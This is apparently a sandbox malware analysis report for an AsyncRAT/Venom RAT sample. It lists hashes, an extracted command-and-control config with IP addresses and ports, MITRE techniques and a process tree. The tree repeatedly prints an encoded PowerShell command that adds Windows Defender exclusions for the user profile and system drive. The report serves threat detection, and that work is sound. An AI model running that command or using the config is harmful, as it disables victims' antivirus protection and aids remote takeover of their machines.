asyncrat | ceb87fb8fc18a0699bac5b532cfdad64cfdf755efccb03b2571679460b465724

Resubmissions

20/08/2024, 05:13

240820-fwfbbaydmr 10

17/08/2024, 08:11

240817-j3kq6awaqh 10

Analysis

max time kernel
9s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
20/08/2024, 05:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

BYTER.exe
Size

13.3MB
MD5

9fd8d6a471d60fbf60d029504916ea50
SHA1

e1cb6de275494b2642a88a0b2136b1ec84551947
SHA256

ceb87fb8fc18a0699bac5b532cfdad64cfdf755efccb03b2571679460b465724
SHA512

c80968a9e7ecd6c31a4dcc5a27cd47260d0bc2601312b3b3a250487bea64e63595c062c9f48358fd477609a4bfcdd82bfca1da8689b3c247ce62d3fbfb409f7b
SSDEEP

393216:0tk1FrHQc/l+FvxWBqWwVrCCIIedFQMG9:0tkPHQG+FJAqWwVCCI/Du

Score

10^/10

asyncrat default defense_evasion discovery rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

10.0.2.15:9090

10.0.2.15:52033

147.185.221.19:9090

147.185.221.19:52033

Mutex

yigdzohbebyxyvvzbc

Attributes

delay
1
install
true
install_file
Steam.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000500000002aa35-5.dat	family_asyncrat

Executes dropped EXE 9 IoCs

pid	Process
2872	MAIN.exe
740	MAIN.exe
4860	MAIN.exe
4252	MAIN.exe
3232	MAIN.exe
3448	MAIN.exe
1244	MAIN.exe
3424	Steam.exe
3392	MAIN.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BYTER.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BYTER.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BYTER.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BYTER.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BYTER.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BYTER.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BYTER.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BYTER.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BYTER.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
4584	timeout.exe
5488	timeout.exe
6928	timeout.exe
932	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3320	schtasks.exe
4764	schtasks.exe
5288	schtasks.exe
928	schtasks.exe
2224	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1676	powershell.exe
2960	powershell.exe
4328	powershell.exe
1676	powershell.exe
2960	powershell.exe
2960	powershell.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
3464	powershell.exe
3464	powershell.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
2872	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4328	powershell.exe
4328	powershell.exe
2656	powershell.exe
2656	powershell.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe
4860	MAIN.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	MAIN.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	740	MAIN.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	4860	MAIN.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4252	MAIN.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	3232	MAIN.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	3448	MAIN.exe
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeDebugPrivilege	1244	MAIN.exe
Token: SeDebugPrivilege	3424	Steam.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	3392	MAIN.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1016 wrote to memory of 1676	1016	BYTER.exe	81
PID 1016 wrote to memory of 1676	1016	BYTER.exe	81
PID 1016 wrote to memory of 1676	1016	BYTER.exe	81
PID 1016 wrote to memory of 932	1016	BYTER.exe	83
PID 1016 wrote to memory of 932	1016	BYTER.exe	83
PID 1016 wrote to memory of 932	1016	BYTER.exe	83
PID 1016 wrote to memory of 2872	1016	BYTER.exe	84
PID 1016 wrote to memory of 2872	1016	BYTER.exe	84
PID 932 wrote to memory of 2960	932	BYTER.exe	85
PID 932 wrote to memory of 2960	932	BYTER.exe	85
PID 932 wrote to memory of 2960	932	BYTER.exe	85
PID 932 wrote to memory of 1920	932	BYTER.exe	87
PID 932 wrote to memory of 1920	932	BYTER.exe	87
PID 932 wrote to memory of 1920	932	BYTER.exe	87
PID 932 wrote to memory of 740	932	BYTER.exe	88
PID 932 wrote to memory of 740	932	BYTER.exe	88
PID 1920 wrote to memory of 4328	1920	BYTER.exe	89
PID 1920 wrote to memory of 4328	1920	BYTER.exe	89
PID 1920 wrote to memory of 4328	1920	BYTER.exe	89
PID 1920 wrote to memory of 2328	1920	BYTER.exe	91
PID 1920 wrote to memory of 2328	1920	BYTER.exe	91
PID 1920 wrote to memory of 2328	1920	BYTER.exe	91
PID 1920 wrote to memory of 4860	1920	BYTER.exe	136
PID 1920 wrote to memory of 4860	1920	BYTER.exe	136
PID 2328 wrote to memory of 3464	2328	BYTER.exe	93
PID 2328 wrote to memory of 3464	2328	BYTER.exe	93
PID 2328 wrote to memory of 3464	2328	BYTER.exe	93
PID 2328 wrote to memory of 1764	2328	BYTER.exe	95
PID 2328 wrote to memory of 1764	2328	BYTER.exe	95
PID 2328 wrote to memory of 1764	2328	BYTER.exe	95
PID 2328 wrote to memory of 4252	2328	BYTER.exe	96
PID 2328 wrote to memory of 4252	2328	BYTER.exe	96
PID 1764 wrote to memory of 2656	1764	BYTER.exe	97
PID 1764 wrote to memory of 2656	1764	BYTER.exe	97
PID 1764 wrote to memory of 2656	1764	BYTER.exe	97
PID 1764 wrote to memory of 3700	1764	BYTER.exe	172
PID 1764 wrote to memory of 3700	1764	BYTER.exe	172
PID 1764 wrote to memory of 3700	1764	BYTER.exe	172
PID 1764 wrote to memory of 3232	1764	BYTER.exe	100
PID 1764 wrote to memory of 3232	1764	BYTER.exe	100
PID 2872 wrote to memory of 864	2872	MAIN.exe	252
PID 2872 wrote to memory of 864	2872	MAIN.exe	252
PID 2872 wrote to memory of 4624	2872	MAIN.exe	102
PID 2872 wrote to memory of 4624	2872	MAIN.exe	102
PID 4624 wrote to memory of 932	4624	cmd.exe	299
PID 4624 wrote to memory of 932	4624	cmd.exe	299
PID 3700 wrote to memory of 1924	3700	BYTER.exe	366
PID 3700 wrote to memory of 1924	3700	BYTER.exe	366
PID 3700 wrote to memory of 1924	3700	BYTER.exe	366
PID 864 wrote to memory of 3320	864	cmd.exe	108
PID 864 wrote to memory of 3320	864	cmd.exe	108
PID 3700 wrote to memory of 4900	3700	BYTER.exe	110
PID 3700 wrote to memory of 4900	3700	BYTER.exe	110
PID 3700 wrote to memory of 4900	3700	BYTER.exe	110
PID 3700 wrote to memory of 3448	3700	BYTER.exe	419
PID 3700 wrote to memory of 3448	3700	BYTER.exe	419
PID 4860 wrote to memory of 4952	4860	MAIN.exe	423
PID 4860 wrote to memory of 4952	4860	MAIN.exe	423
PID 4900 wrote to memory of 4972	4900	BYTER.exe	269
PID 4900 wrote to memory of 4972	4900	BYTER.exe	269
PID 4900 wrote to memory of 4972	4900	BYTER.exe	269
PID 4860 wrote to memory of 3352	4860	MAIN.exe	170
PID 4860 wrote to memory of 3352	4860	MAIN.exe	170
PID 4900 wrote to memory of 5016	4900	BYTER.exe	275

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\BYTER.exe
"C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1676
- C:\Users\Admin\AppData\Local\Temp\BYTER.exe
  "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- - C:\Users\Admin\AppData\Local\Temp\BYTER.exe
    "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4328
  - - C:\Users\Admin\AppData\Local\Temp\BYTER.exe
      "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2328
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3464
    - - C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1764
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2656
      - C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3700
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1924
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4900
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4972
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5016
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:436
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:4488
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        10⤵
        
        PID:1088
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        10⤵
        
        PID:1724
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        11⤵
        
        PID:444
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        11⤵
        
        PID:4800
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        12⤵
        
        PID:5188
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        12⤵
        
        PID:5272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        13⤵
        
        PID:5544
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        13⤵
        
        PID:5608
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        14⤵
        
        PID:5772
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        14⤵
        
        PID:5812
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        15⤵
        
        PID:6056
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        15⤵
        
        PID:6112
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        16⤵
        
        PID:4800
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        16⤵
        
        PID:1308
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        17⤵
        
        PID:4668
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        17⤵
        
        PID:5992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        18⤵
        
        PID:5792
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        18⤵
        
        PID:3352
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        19⤵
        
        PID:3700
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        19⤵
        
        PID:5588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        20⤵
        
        PID:2436
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        20⤵
        
        PID:2672
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        21⤵
        
